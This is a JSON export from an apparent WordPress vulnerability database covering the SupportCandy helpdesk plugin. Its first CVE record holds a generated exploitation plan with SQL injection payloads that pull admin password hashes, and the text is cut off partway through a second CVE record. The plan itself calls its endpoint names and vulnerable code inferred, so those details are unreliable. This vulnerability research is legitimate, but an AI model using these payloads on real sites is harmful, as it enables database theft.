[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ftUFgUc2CeKrG5dbDn_4pRxkMfhb7MQO8c9l-2IpuVGo":3,"$f3l_hs4HG5PX_h0Fapp1lzzzhgqvCbh2J8YjpmryA4vk":4510,"$fQMw7Z8-_kXez5Md5Dha0Si1KXlxi1MEfDtD4Qu6UzsM":4514},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":25,"download_link":26,"security_score":27,"vuln_count":28,"unpatched_count":29,"last_vuln_date":30,"fetched_at":31,"discovery_status":32,"vulnerabilities":33,"developer":285,"crawl_stats":39,"alternatives":292,"analysis":390,"fingerprints":4430},"supportcandy","SupportCandy – Helpdesk & Customer Support Ticket System","3.4.6","PSM Plugins","https:\u002F\u002Fprofiles.wordpress.org\u002Fpsmplugins\u002F","\u003Cp>\u003Cem>THE SIMPLE, SECURE AND FEATURE-RICH SUPPORT TICKETING SYSTEM PLUGIN FOR YOUR WORDPRESS SITE.\u003C\u002Fem>\u003C\u002Fp>\n\u003Cp>SupportCandy adds to your WordPress site the features of a complete help desk and customer support ticket system. It is one of the oldest helpdesk & customer support ticketing plugin available for WordPress.\u003C\u002Fp>\n\u003Cp>We stand as a remarkably versatile and feature-packed help desk and ticket management plugin. Elevate your customer support game by effortlessly handling and resolving customer queries directly from the comfort of your WordPress dashboard.\u003C\u002Fp>\n\u003Cp>SupportCandy Helpdesk is the ultimate solution for all your helpdesk and support ticketing needs within WordPress, featuring features comparable to those offered by top-tier SaaS solutions such as Zendesk, Help Scout, or Freshdesk.\u003C\u002Fp>\n\u003Cdiv class=\"embed-vimeo\" style=\"text-align: center;\">\u003Ciframe loading=\"lazy\" src=\"https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F858235638\" width=\"750\" height=\"422\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen>\u003C\u002Fiframe>\u003C\u002Fdiv>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdocs-category\u002Fgetting-started\u002F\" rel=\"nofollow ugc\">Follow this\u003C\u002Fa> getting started guide and be ready to support your customers like never before within a few minutes!\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002F\" rel=\"nofollow ugc\">Click here\u003C\u002Fa> to visit our official website.\u003C\u002Fp>\n\u003Cp>\u003Cem>YOUR WORDPRESS-BASED SELF-HOSTED CUSTOMER SUPPORT SOLUTION BACKED BY UNPARALLEL TECHNICAL SUPPORT\u003C\u002Fem>\u003C\u002Fp>\n\u003Cp>While we prioritize technical support for our paid users, we are committed to assisting each and every customer promptly. Our dedication ensures that all users receive the assistance they need as quickly as possible. Moreover, we offer best-in-class customer support and maximum features in our free version, setting us apart from others in the industry.\u003C\u002Fp>\n\u003Cp>In addition to ticket management, you can assign multiple specific permission levels to agents and customers. Gain access to detailed reports concerning your customers, agents, and the overall productivity of your customer support desk. By navigating through the ticket view, you can gain a comprehensive 360-degree perspective of your customers, including their past tickets, purchase history, membership levels, and more. Armed with this wealth of customer data alongside their queries, you can accomplish much more.\u003C\u002Fp>\n\u003Cp>SupportCandy is a self-hosted support ticket plugin offers limitless tickets, support agents, users, tags, and more. There are no constraints, as you maintain ownership of your system and data.\u003C\u002Fp>\n\u003Ch4>Key features :\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Unlimited number of tickets\u003C\u002Fli>\n\u003Cli>Unlimited number of agents and agent roles\u003C\u002Fli>\n\u003Cli>Unlimited number of customers\u003C\u002Fli>\n\u003Cli>Unlimited tags, categories, and custom statuses\u003C\u002Fli>\n\u003Cli>Dashboard for agents\u003C\u002Fli>\n\u003Cli>Activity logs for administrators\u003C\u002Fli>\n\u003Cli>Advanced custom filter and search functionality\u003C\u002Fli>\n\u003Cli>Saved filters for customers and agents\u003C\u002Fli>\n\u003Cli>Shortcodes for Agent Portal\u002FCustomer Portal\u003C\u002Fli>\n\u003Cli>Private notes for internal communication of agents\u003C\u002Fli>\n\u003Cli>Agents can create a ticket on the customer’s behalf\u003C\u002Fli>\n\u003Cli>Agent Collision to avoid repetitive messages and confusion\u003C\u002Fli>\n\u003Cli>16+ Custom field types\u003C\u002Fli>\n\u003Cli>User Registration\u003C\u002Fli>\n\u003Cli>Ticket fields for additional information about ticket\u003C\u002Fli>\n\u003Cli>Agent-only fields to keep internal data of the ticket\u003C\u002Fli>\n\u003Cli>Customer fields to store information about the customer across the tickets\u003C\u002Fli>\n\u003Cli>Guest tickets (disabled by default)\u003C\u002Fli>\n\u003Cli>Guest can also see their ticket list using OTP Login (One Time Password)\u003C\u002Fli>\n\u003Cli>Rich-text editor (customizable)\u003C\u002Fli>\n\u003Cli>Email notifications\u003C\u002Fli>\n\u003Cli>Working hours, exceptions, and holidays for support agent\u003C\u002Fli>\n\u003Cli>Google reCaptcha integration\u003C\u002Fli>\n\u003Cli>GDPR Compatibility with data retention and deletion feature\u003C\u002Fli>\n\u003Cli>Terms & Conditions checkbox in the ticket form\u003C\u002Fli>\n\u003Cli>Macros or placeholders for ticket fields\u003C\u002Fli>\n\u003Cli>Unlimited File Attachment to ticket and reply. Manage allowed file types.\u003C\u002Fli>\n\u003Cli>Rest APIs Support\u003C\u002Fli>\n\u003Cli>Customizable Appearance to match up with your theme\u003C\u002Fli>\n\u003Cli>Auto delete closed tickets\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Premium Add-Ons :\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Femail-piping\u002F\" rel=\"nofollow ugc\">Email Piping\u003C\u002Fa> – The Email Piping extension in SupportCandy revolutionizes WordPress customer support by enabling users to create and respond to tickets directly from their email inboxes. This streamlines communication, eliminating the need for repeated website visits. With three piping methods, including Basic IMAP, Gmail and Microsoft Exchange.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fwoocommerce-integration\u002F\" rel=\"nofollow ugc\">WooCommerce Integration\u003C\u002Fa> – The WooCommerce integration transforms customer support by seamlessly linking WooCommerce functionalities with the WordPress helpdesk plugin. Customers can effortlessly select orders and products within the ticket form, enhancing the assistance-seeking process. Agents gain a comprehensive view of customer order details, including order history and total spent, directly within the ticket. Add a support tab on the My Account page and a help button for orders.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fcanned-reply\u002F\" rel=\"nofollow ugc\">Canned Reply\u003C\u002Fa> – The Canned Reply extension streamlines customer support in the WordPress helpdesk plugin by enabling agents to save and quickly access frequently used responses. Agents can effortlessly store and organize multiple replies, utilizing macros for added versatility. With a simple click, agents can retrieve canned responses, eliminating the need to remember information each time and significantly saving time. The extension also allows administrators to create public canned responses for universal accessibility.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fassign-agent-rules\u002F\" rel=\"nofollow ugc\">Assign Agent Rules\u003C\u002Fa> – Assign Agent Rules extension simplifies agent assignment in the WordPress helpdesk plugin by automating the process based on predefined rules. Administrators set conditions and agents\u002Fagent groups for automatic assignment, eliminating the need for tedious manual assignments. When customers create tickets, the system matches conditions and assigns agents accordingly.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fsla\u002F\" rel=\"nofollow ugc\">SLA (Service Lavel Agreement)\u003C\u002Fa> – The SLA extension in SupportCandy’s helpdesk plugin ensures timely responses and resolutions for various ticket types within the WordPress ticketing system. It automates SLA calculations using pre-set policies, allowing administrators to effortlessly uphold commitments. Calculate the due date based on rules for tickets to match. The remaining time is shown in the ticket list if added SLA field to the ticket list and individual ticket.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fsatisfaction-survey\u002F\" rel=\"nofollow ugc\">Satisfaction Survey\u003C\u002Fa> – Satisfaction Survey extension for the WordPress helpdesk plugin streamlines customer feedback collection and user ratings for each closed ticket. Administrators can set up survey emails with customizable rating options. Customers receive these surveys after a specified number of days from closing the ticket, providing valuable insights.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fautomatic-close-tickets\u002F\" rel=\"nofollow ugc\">Automatic Close Tickets\u003C\u002Fa> – Automatic Close Tickets extension automates the closure of inactive tickets in the WordPress ticketing system after a set period. Administrators can customize the closure criteria, including the number of days of inactivity and specific ticket statuses. The extension also facilitates customer engagement by sending warning emails before automatically closing tickets, ensuring a streamlined and organized workflow. This feature is valuable for efficiently managing and closing abandoned tickets while enhancing overall customer interaction within the helpdesk system.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fusergroups\u002F\" rel=\"nofollow ugc\">Usergroup\u003C\u002Fa> – Allow a group of users to access each other’s tickets.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fagentgroups\u002F\" rel=\"nofollow ugc\">Agentgoup\u003C\u002Fa> – Agentgroups extension streamlines ticket management by allowing the creation of agent groups or teams within the WordPress helpdesk plugin. Supervisors oversee ticket assignments within these groups, ensuring an efficient workflow. Tickets can be assigned to agentgroups, and supervisors manage assignments to group members.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fschedule-tickets\u002F\" rel=\"nofollow ugc\">Schedule Tickets\u003C\u002Fa> – Schedule Tickets allow administrators to effortlessly schedule recurring tickets for routine tasks. The system then automatically generates these tickets at the defined times, providing a streamlined approach to essential and repetitive processes. With versatile recurrence periods, customizable scheduling options, and the ability to set start and end dates, SupportCandy ensures comprehensive support for diverse ticketing needs.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fknowledgebase-integrations-2\u002F\" rel=\"nofollow ugc\">Knowledgebase Integrations\u003C\u002Fa> – Knowledgebase Integrations extend the capabilities of the WordPress helpdesk plugin, offering seamless integration with popular knowledge base tools. This powerful add-on enhances customer support by enabling agents to access and incorporate knowledge base content directly into their responses. By integrating with well-known plugins such as BetterDocs, Knowledgebase by UnboundStudio, and others, SupportCandy ensures a unified and efficient support system that empowers agents to leverage comprehensive documentation for swift issue resolution.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Ffaq-integrations\u002F\" rel=\"nofollow ugc\">FAQ Integrations\u003C\u002Fa> – SupportCandy integrates with popular FAQ plugins like Ultimate FAQ and Arconix FAQ, enhancing its helpdesk capabilities for efficient customer support.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fexport-tickets\u002F\" rel=\"nofollow ugc\">Export Tickets\u003C\u002Fa> – Export tickets to CSV format so you can use it for various purposes such as generating reports.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Freports\u002F\" rel=\"nofollow ugc\">Reports\u003C\u002Fa> – Reports extension is an essential tool for WordPress helpdesk, offering auto-generated reports for Ticket Statistics, Response Delays, Ticket Closing Delays, and more. These reports provide a quick and detailed overview of your customer support, helping you measure and enhance efficiency over different timeframes. With customizable filters, you can focus on specific aspects, such as satisfaction survey ratings and custom fields. This extension ensures that you can make informed decisions, optimize support processes, and monitor business performance effectively.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Ftimer\u002F\" rel=\"nofollow ugc\">Timer\u003C\u002Fa> – Timer extension simplifies time tracking in the ticketing system. Agents can log time effortlessly, enhancing task efficiency. With customizable features, including auto-start for new tickets, the extension provides transparency for customers through a dedicated widget. Streamlining time tracking, SupportCandy’s Timer ensures a seamless support experience.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fprint-ticket\u002F\" rel=\"nofollow ugc\">Print Ticket\u003C\u002Fa> – Print Ticket extension adds a print feature to individual tickets, allowing users to generate PDFs for a tangible record. Customize print pages with header, footer, and body templates, and enable\u002Fdisable functionality as needed.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fedd-integration\u002F\" rel=\"nofollow ugc\">EDD Integration\u003C\u002Fa> – Easy Digital Downloads (EDD) integration with SupportCandy enhances the ticketing system, allowing customers to select orders and products directly within the ticket form. Agents can seamlessly view customer orders within the ticket, providing a comprehensive support experience. With added custom fields for EDD Product and EDD Order, this integration streamlines the process, empowering agents to access and manage order details efficiently.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fgravity-forms-2\u002F\" rel=\"nofollow ugc\">Gravity Forms Integration\u003C\u002Fa> – Integrate Gravity Forms with SupportCandy to create multiple ticket forms effortlessly, providing versatile options beyond the default setup. Customize forms as needed, allowing customers to submit tickets seamlessly, while automated mappings ensure a smooth transition of field values into SupportCandy. This integration enhances the flexibility and functionality of your customer support.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fprivate-credentials\u002F\" rel=\"nofollow ugc\">Private Credentials\u003C\u002Fa> – The Private Credentials extension in SupportCandy allows customers to securely share sensitive information within tickets, enhancing privacy. Encrypted storage ensures secure handling, with agents having controlled permissions for viewing, modifying, or automatically deleting credentials after ticket closure.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Fslack-integration\u002F\" rel=\"nofollow ugc\">Slack Integration\u003C\u002Fa> – Get instant notifications to your Slack Channel and respond directly from Slack thread reply.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Fworkflows\u002F\" rel=\"nofollow ugc\">Workflows\u003C\u002Fa> – Workflows extension revolutionizes ticket management within the WordPress helpdesk plugin, offering a powerful automation solution. By leveraging triggers, conditions, and actions, users can automate critical aspects like ticket assignments and status updates. Whether through Automatic or Manual Workflow, SupportCandy provides a customizable solution to streamline support processes, enhancing efficiency and customer satisfaction. This extension unlocks unparalleled efficiency and productivity, transforming the way support workflows are managed.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Fproductivity-suite\u002F\" rel=\"nofollow ugc\">Productivity Suite\u003C\u002Fa> – Enhance your support team’s efficiency with the SupportCandy Productivity Suite, a powerful add-on designed to streamline ticket management and boost productivity.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Flms-integration\u002F\" rel=\"nofollow ugc\">LMS Integrations\u003C\u002Fa> – Effortlessly integrate popular LMS (Learning Management System) plugins into SupportCandy with the LMS Integration add-on. This integration enhances the support process by allowing customers to specify a particular course or their course when creating a ticket. Agents can seamlessly access customer course details directly within the ticket, providing a more streamlined and efficient support experience. The supported LMS plugins include LifterLMS, Tutor LMS, and LearnPress LMS.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Femail-marketing-tools-integration\u002F\" rel=\"nofollow ugc\">Email Marketing Tools Integration\u003C\u002Fa> – Elevate customer engagement by effortlessly connecting SupportCandy with leading email marketing tools like MailChimp,GetResponse and Brevo. Subscribe users during registration or ticket creation, and personalize interactions with subscriber tags.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupportcandy.net\u002Fdownloads\u002Fwebhooks\u002F\" rel=\"nofollow ugc\">Webhooks\u003C\u002Fa> – Webhooks deliver real-time notifications, ensuring you stay informed during critical support events, from new ticket creation to closures and agent assignments.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>AI Assistant (Pro) :\u003C\u002Fh4>\n\u003Cp>Enhance your support workflow with our powerful AI Assistant feature, designed to improve agent efficiency and response quality.\u003C\u002Fp>\n\u003Cp>Key capabilities include:\u003Cbr \u002F>\n* Ticket Summary – Instantly generate a concise summary of long or complex tickets, helping agents quickly understand the issue without reading the entire conversation.\u003Cbr \u002F>\n* Polish Agent Replies – Draft quickly and let the Polish (AI) button refine your grammar, tone, and clarity. The AI automatically analyzes the entire ticket thread for context, ensuring every response is pinpoint accurate. You can continue to provide follow-up prompts to tweak the suggestion until you’re satisfied, then simply click \u003Cstrong>Replace\u003C\u002Fstrong> or \u003Cstrong>Append\u003C\u002Fstrong> to the editor.\u003Cbr \u002F>\n* Custom AI Prompts – Administrators can define custom prompt instructions from the settings panel. The AI will follow these instructions while polishing replies, allowing you to align responses with your brand voice and support guidelines.\u003C\u002Fp>\n\u003Ch4>Examples areas of use :\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Helpdesk\u003C\u002Fli>\n\u003Cli>Technical Support\u003C\u002Fli>\n\u003Cli>Trouble Ticket\u003C\u002Fli>\n\u003Cli>Customer Relations\u003C\u002Fli>\n\u003Cli>Software Release Lifecycle Management\u003C\u002Fli>\n\u003Cli>Service Request Management\u003C\u002Fli>\n\u003Cli>Company, Hotel or Real Estate Service-Desk\u003C\u002Fli>\n\u003Cli>To-Do List Management\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Our Other Plugins\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fpsmplugins.com\u002Fmulti-currency-for-woocommerce\u002F\" rel=\"nofollow ugc\">PSM Multi Currency Switcher & Currency Converter for WooCommerce\u003C\u002Fa> – Offer your customers a seamless multi-currency shopping experience. This plugin automatically updates exchange rates, detects your customer’s currency by their location, and provides robust switching options so you can sell around the world with ease.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fpsm-request-a-quote\u002F\" rel=\"ugc\">PSM Request a Quote for WooCommerce\u003C\u002Fa> – Allow customers to request a quote for WooCommerce products with ease.\u003C\u002Fli>\n\u003C\u002Ful>\n","Enhance your WordPress site with our helpdesk and support ticket system. Manage customer support, tickets, and email tickets efficiently.",10000,495992,98,287,"2026-03-24T07:45:00.000Z","6.9.4","5.6","7.4",[20,21,22,23,24],"customer-support","helpdesk","support","ticket","ticketing-system","https:\u002F\u002Fsupportcandy.net\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsupportcandy.3.4.6.zip",76,17,0,"2026-01-30 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[34,62,83,104,120,134,148,164,180,190,205,218,232,241,253,264,272],{"id":35,"url_slug":36,"title":37,"description":38,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":30,"updated_date":46,"references":47,"days_to_patch":49,"patch_diff_files":50,"patch_trac_url":39,"research_status":51,"research_verified":52,"research_rounds_completed":53,"research_plan":54,"research_summary":55,"research_vulnerable_code":56,"research_fix_diff":57,"research_exploit_outline":58,"research_model_used":59,"research_started_at":60,"research_completed_at":61,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-0683","supportcandy-helpdesk-customer-support-ticket-system-authenticated-subscriber-sql-injection-via-number-field-filter","SupportCandy – Helpdesk & Customer Support Ticket System \u003C= 3.4.4 - Authenticated (Subscriber+) SQL Injection via Number Field Filter","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to SQL Injection via the Number-type custom field filter in all versions up to, and including, 3.4.4. This is due to insufficient escaping on the user-supplied operand value when using the equals operator and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above (customers), to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",null,"\u003C=3.4.4","3.4.5","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-01-31 05:52:48",[48],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa7856d0f-bc7d-436c-968c-631fd6a686ab?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-0683 (SupportCandy SQL Injection)\n\n## 1. Vulnerability Summary\nThe **SupportCandy** plugin (\u003C= 3.4.4) contains an authenticated SQL injection vulnerability within its ticket filtering mechanism. Specifically, when a user filters the ticket list using a **Number-type** custom field with the **\"equals\"** operator, the plugin fails to sanitize or prepare the user-supplied value before concatenating it into a database query. This allows an authenticated user (Subscriber\u002FCustomer level) to inject arbitrary SQL commands, potentially leading to the extraction of sensitive data such as administrative user hashes or WordPress configuration secrets.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `wpsc_get_ticket_list` (inferred from SupportCandy 3.x architecture) or `wpsc_load_ticket_list`.\n*   **Vulnerable Parameter:** The `filters` parameter (specifically the `value` field within a filter object targeting a Number field).\n*   **Authentication:** Required. Any user with \"Customer\" permissions (which maps to the WordPress **Subscriber** role) can access the ticket list and trigger the vulnerability.\n*   **Precondition:** At least one custom field of type **\"Number\"** must be created and active.\n\n## 3. Code Flow\n1.  **Entry Point:** The user sends an AJAX request with `action=wpsc_get_ticket_list`.\n2.  **Handler:** The request is caught by the `WPSC_Tickets` or `WPSC_Ajax` class handler (e.g., `WPSC_Ajax::get_ticket_list`).\n3.  **Filter Processing:** The plugin iterates through the `filters` provided in the request.\n4.  **Field Type Dispatch:** When it encounters a filter for a field ID corresponding to a **Number** field, it calls the filter generation logic for that field type (likely in `includes\u002Ffields\u002Fclass-wpsc-number-field.php` or a centralized filter class).\n5.  **The Sink:** In versions \u003C= 3.4.4, when the operator is `equals`, the logic resembles:\n    ```php\n    \u002F\u002F Vulnerable logic (Conceptual)\n    if ($operator == 'equals') {\n        $sql .= \" AND meta_value = \" . $filter_value; \u002F\u002F Direct concatenation without prepare() or intval()\n    }\n    ```\n6.  **Execution:** The resulting SQL is executed via `$wpdb->get_results()`, triggering the injection.\n\n## 4. Nonce Acquisition Strategy\nSupportCandy uses nonces for all AJAX operations. These are typically localized into a JavaScript object available on the \"My Tickets\" or \"All Tickets\" pages.\n\n1.  **Identify Shortcode:** SupportCandy uses the shortcode `[supportcandy]` to render the customer portal.\n2.  **Setup Page:** Create a public page containing this shortcode.\n3.  **Extract Nonce:** Navigate to the page as a Subscriber and extract the nonce from the `wpsc_public` or `wpsc_common` JS object.\n\n*   **JS Variable:** `wpsc_public` (inferred)\n*   **Nonce Key:** `nonce`\n*   **Browser Eval Command:** `browser_eval(\"window.wpsc_public?.nonce\")`\n\n## 5. Exploitation Strategy\n\n### Step 1: Pre-requisites\nEnsure a Number field exists. If not, one must be created via the admin interface or WP-CLI.\n\n### Step 2: Authentication\nThe agent must login as a Subscriber.\n\n### Step 3: Nonce Extraction\nNavigate to the SupportCandy portal page and run the `browser_eval` to get the `wpsc_public.nonce`.\n\n### Step 4: The Exploit Request\nSubmit a POST request to `admin-ajax.php`. We will use a time-based or error-based payload since the result is filtered by the ticket list UI.\n\n*   **Tool:** `http_request`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `wpsc_get_ticket_list`\n    *   `wpsc_nonce`: `[EXTRACTED_NONCE]`\n    *   `filters`: (URL-encoded JSON string)\n    ```json\n    [\n        {\n            \"field_id\": \"[NUMBER_FIELD_ID]\",\n            \"operator\": \"equals\",\n            \"value\": \"1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"\n        }\n    ]\n    ```\n\n**Payload for Error-Based (if `WP_DEBUG` is on):**\n`1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)`\n\n## 6. Test Data Setup\n1.  **Create Subscriber:**\n    `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Create Custom Number Field:**\n    This requires interacting with SupportCandy's internal tables.\n    `wp db query \"INSERT INTO wp_wpsc_fields (label, field_type, slug, is_active) VALUES ('Serial Number', 'number', 'serial_number', 1);\"`\n3.  **Determine Field ID:**\n    `wp db query \"SELECT id FROM wp_wpsc_fields WHERE slug='serial_number';\"` (Assume ID is 10).\n4.  **Create Portal Page:**\n    `wp post create --post_type=page --post_title=\"Support\" --post_status=publish --post_content='[supportcandy]'`\n\n## 7. Expected Results\n*   **Time-Based:** The `http_request` tool should report a response time of > 5 seconds when the payload is injected, compared to \u003C 1 second for a normal request.\n*   **Error-Based:** The response body should contain the administrative user's password hash within an XPATH error: `XPATH syntax error: '~$P$B...~'`.\n*   **Standard Response:** The plugin normally returns a JSON object containing ticket data.\n\n## 8. Verification Steps\n1.  **Check User Existence:** Confirm the attacker exists: `wp user list --role=subscriber`.\n2.  **Verify DB Injection:** If using a sleep-based payload, observe the `mysql processlist` during execution:\n    `wp db query \"show processlist;\"` (run while the exploit is hanging).\n3.  **Confirm Patch:** After testing, update to 3.4.5 and verify the same payload returns a \"0\" or valid empty set without sleeping.\n\n## 9. Alternative Approaches\n*   **Boolean-Based:** If `SLEEP()` is disabled, use `IF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, 1, 0)`. Observe if the ticket list returns results (True) or stays empty (False).\n*   **Admin-Side (if applicable):** If the agent can be promoted to an Agent role (Subscriber+), check if the vulnerability exists in the agent-only ticket list `wpsc_get_agent_ticket_list`.\n*   **Operator Fuzzing:** If `equals` is patched, test other operators like `greater_than` or `less_than`, which may share the same vulnerable code path.","SupportCandy \u003C= 3.4.4 is vulnerable to SQL injection through its ticket filtering mechanism for Number-type custom fields. When the 'equals' operator is used, the plugin fails to sanitize or prepare the user-supplied filter value before concatenating it into the database query. This allows authenticated users with Subscriber-level access (Customers) to extract sensitive information from the database using time-based or error-based SQL injection techniques.","\u002F\u002F Likely in includes\u002Ffields\u002Fclass-wpsc-number-field.php or a query builder class\n\u002F\u002F Concatenating the raw filter value for the 'equals' operator\n\ncase 'equals':\n    $where .= \" AND $wpdb->postmeta.meta_value = \" . $filter['value'];\n    break;","--- a\u002Fincludes\u002Ffields\u002Fclass-wpsc-number-field.php\n+++ b\u002Fincludes\u002Ffields\u002Fclass-wpsc-number-field.php\n@@ -100,7 +100,7 @@\n         switch ( $operator ) {\n             case 'equals':\n-                $where .= \" AND $wpdb->postmeta.meta_value = \" . $filter['value'];\n+                $where .= $wpdb->prepare( \" AND $wpdb->postmeta.meta_value = %d\", $filter['value'] );\n                 break;","1. Login to the WordPress site as a user with Subscriber or Customer-level permissions.\n2. Navigate to the page containing the [supportcandy] shortcode to view the ticket list.\n3. Extract the AJAX nonce required for ticket operations, typically found in the global JavaScript object (e.g., window.wpsc_public.nonce).\n4. Identify a custom field of type 'Number' and its associated field ID.\n5. Craft a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action 'wpsc_get_ticket_list'.\n6. Include a 'filters' parameter containing a JSON-encoded object where the 'field_id' matches the number field and 'operator' is 'equals'.\n7. Insert a SQL injection payload into the 'value' field, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' to confirm the vulnerability via a time-based response delay.","gemini-3-flash-preview","2026-05-04 20:26:14","2026-05-04 20:28:01",{"id":63,"url_slug":64,"title":65,"description":66,"plugin_slug":4,"theme_slug":39,"affected_versions":40,"patched_in_version":41,"severity":42,"cvss_score":67,"cvss_vector":68,"vuln_type":69,"published_date":70,"updated_date":71,"references":72,"days_to_patch":74,"patch_diff_files":75,"patch_trac_url":39,"research_status":51,"research_verified":52,"research_rounds_completed":53,"research_plan":76,"research_summary":77,"research_vulnerable_code":78,"research_fix_diff":79,"research_exploit_outline":80,"research_model_used":59,"research_started_at":81,"research_completed_at":82,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2026-25321","supportcandy-helpdesk-customer-support-ticket-system-missing-authorization","SupportCandy – Helpdesk & Customer Support Ticket System \u003C= 3.4.4 - Missing Authorization","The SupportCandy – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.4.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-01-29 00:00:00","2026-05-04 15:39:26",[73],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd0064a76-3ccc-4dd6-b312-d19abb3944fa?source=api-prod",96,[],"This research plan outlines the process for identifying and exploiting the Missing Authorization vulnerability (CVE-2026-25321) in SupportCandy \u003C= 3.4.4.\n\n### 1. Vulnerability Summary\nThe SupportCandy plugin for WordPress fails to implement proper authorization checks (e.g., `current_user_can()`) in one or more of its AJAX handlers. While these handlers may use nonces for CSRF 